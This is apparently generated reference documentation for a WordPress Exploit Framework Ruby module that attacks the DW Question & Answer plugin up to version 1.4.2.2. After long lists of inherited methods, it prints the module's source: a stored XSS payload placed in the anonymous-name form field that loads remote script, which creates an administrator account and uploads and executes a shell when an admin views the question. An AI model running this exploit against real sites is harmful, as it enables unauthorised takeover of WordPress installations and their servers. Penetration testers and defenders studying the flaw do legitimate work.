Class: Wpxf::Exploit::DwQuestionAnswerStoredXssShellUpload

Inherits:
Module
  • Object
show all
Includes:
Wpxf, WordPress::Xss
Defined in:
lib/wpxf/modules/exploit/xss/stored/dw_question_answer_stored_xss_shell_upload.rb

Constant Summary

Constants included from WordPress::Options

WordPress::Options::WP_OPTION_CONTENT_DIR

Constants included from Net::HttpOptions

Net::HttpOptions::HTTP_OPTION_BASIC_AUTH_CREDS, Net::HttpOptions::HTTP_OPTION_CLIENT_TIMEOUT, Net::HttpOptions::HTTP_OPTION_FOLLOW_REDIRECT, Net::HttpOptions::HTTP_OPTION_HOST, Net::HttpOptions::HTTP_OPTION_HOST_VERIFICATION, Net::HttpOptions::HTTP_OPTION_MAX_CONCURRENCY, Net::HttpOptions::HTTP_OPTION_PEER_VERIFICATION, Net::HttpOptions::HTTP_OPTION_PORT, Net::HttpOptions::HTTP_OPTION_PROXY, Net::HttpOptions::HTTP_OPTION_PROXY_AUTH_CREDS, Net::HttpOptions::HTTP_OPTION_SSL, Net::HttpOptions::HTTP_OPTION_TARGET_URI, Net::HttpOptions::HTTP_OPTION_USER_AGENT, Net::HttpOptions::HTTP_OPTION_VHOST

Instance Attribute Summary

Attributes inherited from Module

#active_workspace, #event_emitter, #payload, #session_cookie

Attributes included from Options

#datastore, #options

Instance Method Summary collapse

Methods included from WordPress::Xss

#on_http_request, #upload_shell, #wordpress_js_create_user, #xss_ascii_encoded_include_script, #xss_host, #xss_include_script, #xss_path, #xss_shell_success, #xss_url, #xss_url_and_ascii_encoded_include_script

Methods included from WordPress::Plugin

#fetch_plugin_upload_nonce, #generate_wordpress_plugin_header, #upload_payload_as_plugin, #upload_payload_as_plugin_and_execute, #upload_payload_using_plugin_form

Methods included from Net::HttpServer

#http_server_bind_address, #http_server_bind_port, #http_server_thread, #js_ajax_download, #js_ajax_post, #js_post, #on_http_request, #start_http_server, #stop_http_server

Methods included from Wpxf

app_path, build_module_list, change_stdout_sync, custom_modules_path, data_directory, databases_path, gemspec, home_directory, load_custom_modules, load_module, modules_path, payloads_path, version

Methods inherited from Module

#aux_module?, #can_execute?, #check_wordpress_and_online, #cleanup, #exploit_module?, #missing_options, #set_option_value, #unset_option

Methods included from Db::Credentials

#store_credentials

Methods included from ModuleAuthentication

#authenticate_with_wordpress, #requires_authentication

Methods included from WordPress::Urls

#wordpress_url_admin, #wordpress_url_admin_ajax, #wordpress_url_admin_options, #wordpress_url_admin_post, #wordpress_url_admin_profile, #wordpress_url_admin_update, #wordpress_url_atom, #wordpress_url_author, #wordpress_url_comments_post, #wordpress_url_login, #wordpress_url_new_user, #wordpress_url_opml, #wordpress_url_plugin_install, #wordpress_url_plugin_upload, #wordpress_url_plugins, #wordpress_url_post, #wordpress_url_rdf, #wordpress_url_readme, #wordpress_url_rest_api, #wordpress_url_rss, #wordpress_url_sitemap, #wordpress_url_themes, #wordpress_url_uploads, #wordpress_url_wp_content, #wordpress_url_xmlrpc

Methods included from WordPress::Options

#wp_content_dir

Methods included from WordPress::Login

#valid_wordpress_cookie?, #wordpress_login, #wordpress_login_post_body

Methods included from WordPress::Fingerprint

#check_plugin_version_from_changelog, #check_plugin_version_from_readme, #check_theme_version_from_readme, #check_theme_version_from_style, #check_version_from_custom_file, #wordpress_and_online?, #wordpress_version

Methods included from Net::HttpClient

#base_http_headers, #base_uri, #download_file, #execute_delete_request, #execute_get_request, #execute_post_request, #execute_put_request, #execute_queued_requests, #execute_request, #full_uri, #initialize_advanced_options, #initialize_options, #max_http_concurrency, #normalize_relative_uri, #normalize_uri, #queue_request, #target_host, #target_port, #target_uri

Methods included from Net::TyphoeusHelper

#advanced_typhoeus_options, #create_typhoeus_request, #create_typhoeus_request_options, #standard_typhoeus_options

Methods included from Net::UserAgent

#clients_by_frequency, #random_browser_and_os, #random_chrome_platform_string, #random_firefox_platform_string, #random_firefox_version_string, #random_iexplorer_platform_string, #random_opera_platform_string, #random_processor_string, #random_safari_platform_string, #random_time_string, #random_user_agent

Methods included from Versioning::OSVersions

#random_nt_version, #random_osx_version

Methods included from Versioning::BrowserVersions

#random_chrome_build_number, #random_chrome_version, #random_ie_version, #random_opera_version, #random_presto_version, #random_presto_version2, #random_safari_build_number, #random_safari_version, #random_trident_version

Methods included from Options

#all_options_valid?, #get_option, #get_option_value, #missing_options, #normalized_option_value, #option_valid?, #option_value?, #register_advanced_options, #register_evasion_options, #register_option, #register_options, #scoped_option_change, #set_option_value, #unregister_option, #unset_option

Methods included from OutputEmitters

#emit_error, #emit_info, #emit_success, #emit_table, #emit_warning

Methods included from ModuleInfo

#emit_usage_info, #module_author, #module_date, #module_desc, #module_description_preformatted, #module_name, #module_references, #update_info

Constructor Details

#initialize ⇒ DwQuestionAnswerStoredXssShellUpload

Returns a new instance of DwQuestionAnswerStoredXssShellUpload.



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# File 'lib/wpxf/modules/exploit/xss/stored/dw_question_answer_stored_xss_shell_upload.rb', line 7

def initialize
  super

  update_info(
    name: 'DW Question & Answer <= 1.4.2.2 Stored XSS Shell Upload',
    desc: 'This module exploits a lack of input validation in versions '\
          '<= 1.4.2.2 of the DW Question & Answer plugin which '\
          'allows unauthenticated users to store a script that will '\
          'create a new admin user and use the new credentials to '\
          'upload and execute a payload when an admin views the page.',
    author: [
      'Rahul Pratap Singh', # Vulnerability discovery
      'rastating'           # WPXF module
    ],
    references: [
      ['URL', 'https://0x62626262.wordpress.com/2016/03/11/dw-question-answer-xss-vulnerability/'],
      ['WPVDB', '8413']
    ],
    date: 'Mar 11 2016'
  )

  register_options([
    StringOption.new(
      name: 'permalink',
      desc: 'The permalink to the ask a question page',
      default: '/?page_id=120',
      required: true
    )
  ])
end

Instance Method Details

#check ⇒ Object 



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# File 'lib/wpxf/modules/exploit/xss/stored/dw_question_answer_stored_xss_shell_upload.rb', line 38

def check
  check_plugin_version_from_readme('dw-question-answer', '1.4.2.3')
end

#fetch_nonce ⇒ Object 



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# File 'lib/wpxf/modules/exploit/xss/stored/dw_question_answer_stored_xss_shell_upload.rb', line 46

def fetch_nonce
  res = execute_get_request(url: permalink)
  return res.body[/id="_wpnonce" name="_wpnonce" value="([a-z0-9]+)"/i, 1] if res && res.code == 200
end

#permalink ⇒ Object 



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# File 'lib/wpxf/modules/exploit/xss/stored/dw_question_answer_stored_xss_shell_upload.rb', line 42

def permalink
  normalize_uri(full_uri, datastore['permalink'])
end

#run ⇒ Object 



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# File 'lib/wpxf/modules/exploit/xss/stored/dw_question_answer_stored_xss_shell_upload.rb', line 68

def run
  return false unless super

  @success = false
  emit_info 'Storing script...'
  emit_info xss_ascii_encoded_include_script, true
  res = store_script

  if res.nil?
    emit_error 'No response from the target'
    return false
  end

  if res.code != 200
    emit_error "Server responded with code #{res.code}"
    return false
  end

  emit_success 'Script stored and will be executed when a user views the question'
  start_http_server

  @success
end

#store_script ⇒ Object 



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# File 'lib/wpxf/modules/exploit/xss/stored/dw_question_answer_stored_xss_shell_upload.rb', line 51

def store_script
  execute_post_request(
    url: normalize_uri(full_uri, datastore['permalink']),
    body: {
      'question-title' => Utility::Text.rand_alpha(10),
      'question-content' => Utility::Text.rand_alpha(10),
      'question-category' => Utility::Text.rand_numeric(1),
      'question-tag' => Utility::Text.rand_alpha(5),
      '_dwqa_anonymous_email' => Utility::Text.rand_email,
      '_dwqa_anonymous_name' => "\"><script>#{xss_ascii_encoded_include_script}</script><",
      'dwqa-question-submit' => 'Submit',
      '_wpnonce' => fetch_nonce,
      '_wp_http_referer' => datastore['permalink']
    }
  )
end